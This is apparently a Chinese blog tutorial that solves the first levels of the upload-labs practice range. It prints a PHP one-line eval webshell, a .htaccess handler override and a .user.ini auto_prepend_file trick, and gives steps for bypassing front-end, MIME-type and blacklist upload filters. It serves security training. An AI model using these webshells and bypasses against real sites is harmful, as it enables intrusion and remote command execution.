打靶归来详解uploadlabs靶场（上）

网络安全自修室

发布于 2024-02-29 10:46:14

2910

发布于 2024-02-29 10:46:14

文章被收录于专栏：网络安全自修室网络安全自修室

1、免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集，旨在提高网络安全技术水平为目的，只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试加入交流群讨论或留言私信，如有侵权请联系小编处理。

2、内容速览

一、环境准备

① - 靶场的搭建

下载地址：upload-labs[1]
upload-labs靶场曾有过一次更新，更新新添加了一道Pass-05，有一些以前的教程的题号与这篇教程不符合，请各位自行分辨
本篇作者所用到的PHP版本为5.4.45，只有在做部分题目时需要修改Pass03[2]的绕过需要配置apache的httpd.conf文件

作者在小皮面板上配置均失败，只在phpstudy上配置成功，且版本限制在5.4.45

② - 准备webshell

测试用webshell

# shell.php → 测试所用的phpinfo
<?php phpinfo(); ?>

一句话木马

# webshell.php → 一句话木马
<?php @eval($_POST['pass']); ?>

③ - 说明

确认webshell上传成功的演示只在Pass01[3]演示一遍
本题使用的webshell均为最简单的phpinfo()，一句话木马getshell会在Pass02[4]演示一遍，之后将不再演示1. webshell最好设置不同名，或者在每次上传成功后删除，避免出现绕过失败但测试成功的情况
Pass14~Pass21的题解见：打靶归来 - 详解upload-labs靶场（下）

二、题解

【Pass01 - 前端Javascript过滤】

题目：

绕过方法：

本题使用Javascript代码进行过滤，禁用网站的Javascript权限即可完成绕过

第一步：禁用网站权限

第二步：上传webshell，出现无法显示的图片说明上传成功

第三步：上传成功后，通过浏览器的返回结果得到webshell的存储位置，访问webshell

1ykcm

出现php版本信息代表上传成功！

ok385

g83e4

【Pass02 - MIME类型过滤】

题目：

vl1wc

绕过方法：

通过抓包修改请求头的MIME类型绕过过滤

第一步：上传webshell 第二步：抓包，修改MIME类型

第三步：上传后，访问webshell

第四步：使用蚁剑进行getshell

出现2操作说明webshell能够连接，接下来可以测试命令的执行

执行成功，可以进行getshell

0vk90

iica3

ap1cp

43413

it80m

— Pass03 ~ Pass05 黑名单检测使用特殊方法绕过

【Pass03 - 使用其它后缀名绕过】

题目：

fpr5k

绕过方法：

本题使用黑名单过滤，且只过滤原始的后缀，所以可以使用不在其黑名单中的后缀进行绕过，Pass04[5]和Pass05[6]的方法可以在这一题使用，也可以使用其它的后缀名进行绕过。但前提是apache的http.conf文件做了如此[7]配置

第一步：上传后缀名为.phtml（根据配置尝试）的webshell 第二步：确认webshell是否上传成功

dtbl1

ctxtv

【Pass04 - 利用.htaccess绕过】

题目：

3d0mx

绕过方法：

本题没有过滤.htaccess文件，可以通过上传.htaccess文件来为一个webshell文件更改后缀，来帮助webshell进行绕过

第一步：构造一个.htaccess文件

<FilesMatch "1.png">
setHandler application/x-httpd-php
</FilesMatch>

第二步：将.htaccess文件上传到服务器

第三步：将WebShell文件修改为指定的名字与后缀（1.png），上传到服务器

htqa4

00wyo

第四步：直接访问更改了后缀的WebShell文件即可执行该文件（1.png）

xi4ik

【Pass05 - 利用.user.ini文件包含】

题目：

idmjf

6q2kp

绕过方法

本题没有过滤.user.data文件，且在目录下存在一个已知的php文件，可以通过.user.data文件配置使原有的php文件包含webshell

第一步：构造.user.php文件并上传

auto_prepend_file=1.png

第二步：上传指定文件名的webshell

上传后等待五分钟（默认配置），使文件生效第三步：打开已知的php文件，即可执行webshell

cwg2a

22cjs

c32rv

— Pass06 ~ Pass11 黑名单检测修改后缀名绕过

这些类型过于简单，就不再按步骤讲解了，只会简单的分析源码和说明原理

# 以下代码是较为完整的放防御姿势，但还是有绕过方法，可以对比这个来判断有哪些最简单的绕过姿势
$file_name = trim($_FILES['upload_file']['name']);//提取文件名
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//从文件名中提取后缀名
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空